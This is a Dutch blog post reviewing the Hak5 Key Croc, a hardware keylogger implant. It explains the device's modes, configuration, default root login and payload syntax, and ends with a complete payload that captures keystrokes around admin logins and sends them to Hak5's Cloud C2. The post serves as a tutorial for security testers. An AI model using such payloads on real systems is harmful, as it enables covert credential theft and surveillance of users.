Hak5 Key Croc
Hak5 heeft weer een nieuwe tool aan zijn arsenaal toegevoegd genaamd de “Key Croc”. Aangezien ik dol ben op tools en zeker op die van Hak5 heb ik deze op dag 1 besteld om de Key Croc zo snel mogelijk te kunnen onderwerpen aan een eerste review. In deze post ga ik jullie vertellen wat de Key Croc is en hoe hij werkt. In een later post gaan we een specifieke attack vector creëren en exploiteren met de Key Croc. Voor nu dus de eerste review.
De Key Croc is de nieuwste tool van Hak5 en het is er weer eentje die je wilt hebben. De Hak5 Key Croc is in essentie een keylogger… maar eigenlijk zoveel meer dan dat! De key Croc combineert naast de “keylogger” functie ook andere functies zoals die van de Bash Bunny en de USB Rubber Ducky. Standaard out-of-the-box is de Key Croc een keylogger. Dus plaats hem tussen het toetsenbord en de computer en de Key Croc neemt alle keystrokes op. Maar de Key Croc kan ook specifieke payloads activeren op basis van specifieke toetsen of toets combinaties. De Key Croc kan daarnaast een HID. Serieel, netwerk of flash opslag device emuleren om op die manier toegang tot de computer en zijn data te krijgen. Daarnaast zorgt deze maskering ervoor dat de Key Croc niet herkent wordt door antivirus scanners!


Daarnaast beschikt de Key Croc over een full-featured Linux shell met een 1.2 GHz ARM processor waardoor je al je favoriete Linux tools zoals Nmap, Metasploit en Responder gemakkelijk kunt gebruiken.
Laten we eens gaan kijken naar de layout van de Key Croc:

Zoals je ziet “oogt” de Key Croc als een USB (wireless) adapter. De Key Croc bestaat uit de volgende onderdelen:
- Input – Dit is de USB input poort voor het toetsenbord. De hardware ID van het toetsenbord wordt automatisch gekloond en dus zal de hardware configuratie van de computer niet veranderen.
- Output – Dit is de output kant welke verbonden wordt met de computer. De Key Croc kan zich voordoen middels emulatie als HID, Flash opslag, Ethernet en Serieel apparaat. De standaard setting is als USB Keyboard kloon (hetzelfde als de input).
- Status LED – De LED laat zien in welke modus de Key Croc staat. De Key Croc staat in Attack Mode als er een toetsenbord op aangesloten is. Er brand dan geen licht.
- WiFi 2.4 GHz antenne – Deze antenne wordt gebruikt om de Key Croc te koppelen aan het Hak5 CCC (Cloud C2) en om op afstand verbinding te maken met de Key Croc.
- ARM Processor – De Key Croc is voorzien van een prima 1.2 GHz ARM processor.
- Intern geheugen – De Key Croc beschikt over 512 MB RAM geheugen.
- Opslagruimte – De Key Croc beschikt over een 8GB SSD disk voor het OS en data opslag.
- Hidden Button – Deze “verborgen button” welke met een paperclip te bedienen is dient om de Key Croc in “Arming Mode” te zetten (dus de mode waarop het Linux OS beschikbaar is en de Key Croc niet fungeert als keylogger).
Het Status LED op de Key Croc kent de volgende combinaties:
- Groen – Aan het booten
- Rood – Er doet zich en problem voor
- Cyaan – Bezig met WiFi configuratie
- Magenta – De keylogger aan het configureren
- Blauw – Arming Mode
- Geel – De opslag is vol
- Wit – Er is geen toetsenbord gedetecteerd. De Key Croc staat niet in Attack Mode
- Geen – De Key Croc staat in Attack Mode

Een van de belangrijkste zaken om te doen wanneer je de Key Croc ontvangt is het configureren van de WiFi. Want pas als je WiFi hebt kun je het device benaderen (b.v. over SSH). Om het WiFi te configureren moeten we het apparaat eerst in Arming Mode plaatsen door de “hidden button” in ter drukken. Wanneer het LEDje blauw knippert staat de Key Croc in Arming Mode. In Arming Mode emuleert de Key Croc een serieel en een flash opslag device. Deze USB flash drive noemen we ook wel de “udisk” en draag default het label “KeyCroc”. Op deze flash drive zijn een aantal folders en bestanden aanwezig, De belangrijkste zijn:
- config.txt – Configuratiebestand
- version.txt – Huidige firmwareversie van de Key Croc
- library – Hierin staan de inactieve payloads
- payloads – Hierin staan de actieve payloads
- loot – Dit is de loot folder waarin de vergaarde data zoals keystrokes verzameld worden
- tools – Deze folder wordt gebruikt om additionele packages te installeren
- languages/ – Deze folder bestaat uit keymap bestanden (voor verschillende keyboard layouts) welke gebruikt worden voor recording en injection doeleinden
WiFi wordt geconfigureerd via de configfile (config.txt). De configfile bestaat uit verschillende configuratieregels, zoals:
- DUCKY_LANG – Hierin definieer je de keymap file. Default wordt US gebruikt voor een QWERTY toetsenbord. Als je een andere indeling wilt specificeren doe je dat hier.
- SSH – Wanneer SSH ingeschakeld is dan is de KeyCroc altijd (in Arming en Attack mode) over SSH beschikbaar.
- DNS – Geef hier eventueel een custom DNS server op zodat je de automatische DNS settings vanuit je WiFi configuratie kunt overschrijven.
- WIFI_SSID – Geef hier het SSID op van het WiFi network waarmee de Key Croc moet verbinden/
- WIFI_PASS – Geef hier het wachtwoord (WPA-PSK) op om te kunnen verbinden met het WiFi netwerk. Om te verbinden met een openbaar WiFi netwerk welke geen wachtwoord vereist kun je dit veld uit-quoten.

Wanneer de Key Croc verbonden is met WiFi kan deze overgenomen worden middels SSH (als de SSH optie ingeschakeld is). Je kunt, wanneer de Key Croc in Arming Mode staat ook middels serieel verbinding maken met de Key Croc. De juiste seriële settings zijn 115200/8N1:
Baud: 115200 Data Bits: 8 Parity Bit: No Stop Bit: 1 |
Om in te loggen middels SSH of Serieel gebruik je de volgende default gebruikersnaam en wachtwoord combinatie:
Gebruikersnaam: root
Wachtwoord: hak5croc
De default hostnaam is “croc”.
Het bestandssyteem van de Key Croc (totaal 8 GB SSD) bestaat uit meerdere partities waaronder een 2 GB FAT32 partitie welke gemount is in /root/udisk. Dit is de “udisk” pratitie die zichtbaar is als de Key Croc als Flash Drive geemuleerd wordt. Het is belangrijk om te weten dat de meeste payloads terwijl de Key Croc in Attack Mode staat hun loot wegschrijven in “/root/loot” welke weer gesynchroniseerd wordt met “/root/udisk/loot” wanneer de Key Croc terug in Arming Mode geplaatst wordt. Wanneer de udisk door het target (verbonden computer) gebruikt wordt is deze niet bruikbaar voor de Key Croc en visa versa. Om potentiele format errors te voorkomen is het belangrijk de udisk altijd veilig uit te werpen en dus niet simpelweg uit de computer te trekken.
Wanneer tijdens een payload de USB Flash drive gebruikt moet worden is het best practice om deze eerste te unmounten van de host en daarna te mounten op het target (en visa versa). Dit ziet er als volgt uit:
#Gebruik de UFB Flash Drive emulatie op het target: udisk unmount ATTACKMODE HID STORAGE #Gebruik de udisk weer op de host: ATTACKMODE HID udisk mount |
Hierboven zie je meteen dat de Key Croc eenzelfde soort command / script opbouw heeft als de Bash Bunny. Dit is een combinatie van Bash en DuckyScript (v2). Je kunt ook DuckyScript gebruiken op de commandline. Onderstaande commando zal op het target de zin “Hoi Hoi ik ben een eend” typen:
QUACK STRING Hoi Hoi ik ben een eend |
Om het maken van payloads nog makkelijker te maken kun je deze direct (met een seriele of SSH connectie) maken en bewerken op de Key Croc. Om dit te doen pas je de payload aan in de “/root/udisk/payloads” folder en activeer je de payload opnieuw met onderstaande commando.
RELOAD_PAYLOADS |
Wanneer je tijdens het ontwikkelen wilt controleren of je payloads mogelijke MATCH en SAVEKEYS syntax errors bevatten dan kun je onderstaande commando gebruiken:
CHECK_PAYLOADS |
Zoals je zojuist gelezen hebt kan een payload een MATCH en een SAVEKEYS expressie bevatten. Deze speciale commando’s hebben een speciale functie.
MATCH = Voer een payload uit bij een specifieke overeenkomst
SAVEKEYS = Log alleen specifieke keys nadat een bepaalde MATCH heeft plaatsgevonden
Om een paar voorbeelden te geven:
Om een payload te starten bij het invullen van meerdere specifieke woorden gebruik je:
MATCH (root|admin|administrator|beheerder) |
(Python) RegEx kan ook gebruikt worden om een MATCH te maken. Om een payload te starten wanneer een NL postcode wordt gebruikt, gebruik je de volgende RegEx MATCH:
MATCH [1-9][0-9]{3}(?:-[A-Za-z]{2})? |
Gebruik, om je RegEx te testen een alternatieve resource zoals b.v. https://regex101.comhttps://regex101.com. De Key Croc gebruikt meerdere buffers waardoor ook gecorrigeerde fouten kunnen matchen. Stel voor dat je een MATCH maakt op het woord “admin” dan zal de match nog steeds gemaakt worden als de gebruiker het volgende intypt:
admiin [BACKSPACE] 2x m [BACKSPACE] 1x n |
Wanneer zich een MATCH voordoet wordt er een log met timestamp weggeschreven in /root/loot folder. Vervolgens komt de $loot variabele beschikbaar om te gebruiken. Deze variabele bevat het patroon die de MATCH triggerde.
Het SAVEKEYS command zorgt ervoor dat specifieke keys opgeslagen worden als er een match is. Het SAVEKEYS command wordt dus altijd gebruik direct na het specificeren van een MATCH command. Zie het volgende voorbeeld:
MATCH admin SAVEKEYS /root/loot/adminpasswords.log NEXT 20 |
Bij gebruik van bovenstaande voorbeeld zullen de 20 toetsaanslagen gelogd worden in het adminpasswords.log bestand nadat de gebruiker “admin” heeft ingetoetst.
Best-practice is om MATCH en SAVEKEYS nooit in comments te gebruiken. Daarnaast kunnen MATCH en SAVEKEYS alleen in payloads gebruikt worden en niet v.a. de commandline.
Omdat de Key Croc voldoende buffers gebruikt kunnen ook de keys voorafgaand aan het MATCH commando worden gelogd:
MATCH shutdown SAVEKEYS /root/loot/lastcommands.log LAST 50 |
De buffers van de Key Croc bewaren maximaal 128 keystrokes en dus kunnen er met een SAVEKEYS commando maar maximaal 128 keystrokes opgeslagen worden (bij NEXT en bij LAST). Daarnaast kunnen SAVEKEYS logfiles alleen weggeschreven worden als er een absoluut pad wordt aangegeven. Het wegschrijven lukt niet middels variabelen.
Nadat je een MATCH hebt gemaakt wil je uiteraard een payload schrijven. Overigens kan een payload ook meteen getriggerd worden wanneer de Key Croc in het apparaat geplaatst wordt. Tijdens het schrijven van een payload kun je uiteraard DuckyScript gebruiken wanneer de ATTACKMODE van de Key Croc in HID modus staat. De meeste DuckyScript codes beginnen met QUACK zoals:
QUACK STRING Wat een prachtige dag QUACK DELAY 500 QUACK KEYCODE 00,00,56 #(“-“) QUACK DELAY 500 QUACK STRING O nee, toch niet… het regent. Afsluiten maar. QUACK CTRL-ALT-DELETE |
Maar hoe plaats je de Key Croc in HID mode? Dit doe je met het ATTACKMODE commando. Dus:
ATTACKMODE HID |
In deze mode zal eveneens het verbonden toetsenbord gekloond worden. Uiteraard ben je vrij om ook andere HID devices te clonen door hun VID en PID (eventueel met aanvulling van MAN en SN) op te geven.
VID = Vendor ID
PID = Product ID
Man = Manufacturer
SN = Serial Number
ATTACKMODE HID VID_0X0A5C PID_0X3025 MAN_LITE-ON SN_0 |
Naast de HID attackmode zijn er nog een aantal ATTACKMODE combinaties, zoals:
- ECM_ETHERNET – Emuleer USB Ethernet Adapter (Linux, Mac en Android).
- RNDIS_ETHERNET – Emuleer USB Ethernet Adapter (Windows en sommige Linus distributies).
- AUTO_ETHERNET – Emuleer een USB Ethernet Adapter welke eerst probeert om de een ECM_ETHERNET adapter te emuleren en wanneer er binnen 20 seconde geen connectie is zal de RNDIS_ETHERNET adapter geëmuleerd worden. De timeout van 20 seconde kan aangepast worden in het commando.
- HID – Emuleer een keyboard (Human Interface Device).
- STORAGE – Emuleer USB Mass Storage (UMS) = default flash drive.
- RO_STORAGE – Emuleer een USB Mass Storage device, maar dan in Read Only mode.
- SERIAL – Emuleer een Abstract Control Model (ACM) Serial Console.
- OFF – De USB Interface is niet meer verbonden met het target.
Je kunt ook meerdere ATTACKMODE soorten combineren:
ATTACKMODE HID STORAGE |
Het LED lampje op de Key Croc is eveneens te bedienen met het LED commando. Er zijn verschillende kleuren en knippercombinaties beschikbaar welke te vinden zijn op https://docs.hak5.org/hc/en-us/articles/360047383854-LEDhttps://docs.hak5.org/hc/en-us/articles/360047383854-LED. Een voorbeeld om het lampje 3x rood te laten knipperen (100ms aan, gevolgd door 1 sec uit):
LED R TRIPLE |
Om de Hak5 Key Croc nog krachtiger te maken kan deze voorzien worden van additionele tools. De basic tools zoals SMBClient en Nmap zijn al aanwezig maar andere mogelijk essentiële tools zoals Metasploit moeten geïnstalleerd worden. Alvorens er geïnstalleerd kan worden moet de Key Croc een werkende internetverbinding hebben. Installatie kan via SSH, serieel of via de Cloud C2. Additionele tools worden geplaatst in de “/tools” directory. Om tools te installeren gebruik je het “INSTALL_EXTRAS” commando. Voor Metasploit is dit dus:
INSTALL_EXTRAS metasploit |
Laten we tenslotte eens kijken naar een hele simpele payload:
# Title: Admin Password Grabber # Description: Logs Usernames and Passwords of admins when a admin logs in # Author: JarnoBaselier.nl # Target: Windows INACTIVE_WAIT_TIME=10 LOOT_FILE=/root/loot/lastcommands.log CLOUDC2=1 DEBUG=1 # Set ATTACKMODE to HID and Ethernet with cloned keyboard VID/PID VENDOR=$(cat /tmp/vidpid | cut -d: -f1) PRODUCT=$(cat /tmp/vidpid | cut -d: -f2) [[ $DEBUG == 1 ]] && echo -e "\nSetting ATTACKMODE with vendor $VENDOR and product $PRODUCT" ATTACKMODE HID ECM_ETHERNET VID_0X$VENDOR PID_0X$PRODUCT # Wait until the admin logs in: MATCH (root|admin|administrator|beheerder|superuser|su|master) SAVEKEYS $LOOT_FILE LAST 15 SAVEKEYS $LOOT_FILE NEXT 20 # Exfil to Cloud C2 [[ $CLOUDC2 == 1 ]] && C2EXFIL STRING $LOOT_FILE QUACK GUI r QUACK DELAY 500 QUACK STRING notepad.exe QUACK ENTER QUACK DELAY 500 QUACK STRING When you read this…. You are really fucked…! |
De Key Croc is een van de mooiste hardware implants tot nu toe van Hak5. Deze keylogger combineert de goede eigenschappen van de Bash Bunny en versterkt die met een krachtige keylogger functie. Uiteraard hoort dit een beetje bij het businessmodel van Hak5 (appraten maken, verbeteren en opnieuw uitbrengen in een iets andere vorm) maar wat ze maken is toepasbaar, makkelijk te beheren en zeer krachtig als het goed gebruikt wordt. Hier gaan we spoedig een wat langere payload voor schrijven. En hoe dat gaat… dat lees je natuurlijk ook hier!
Vond je dit bericht informaties, nuttig of gewoon leuk… help me out a little! Please deel deze post dan op je sociale kanalen of op je website of geef hem gewoon een dikke “like”. Een leuk berichtje sturen mag natuurlijk ook altijd. ★ Alvast enorm bedankt! ★